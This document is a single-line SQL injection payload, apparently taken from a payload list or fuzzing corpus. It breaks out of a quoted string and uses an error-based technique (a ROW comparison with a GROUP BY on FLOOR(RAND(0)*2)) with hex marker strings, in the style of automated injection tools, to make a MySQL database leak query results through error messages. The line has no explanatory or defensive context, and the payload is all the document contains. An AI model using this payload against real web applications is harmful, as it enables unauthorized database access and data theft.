1',row   (   7937,5067   )   >   (   select count   (   *   )   ,concat   (   0x7171706a71,   (   select    (   elt   (   7937   =   7937,1    )      )       )   ,0x717a767a71,floor   (   rand   (   0   )   *2    )      )    x from    (   select 9974 union select 5497 union select 8209 union select 8147   )   a group by x   )   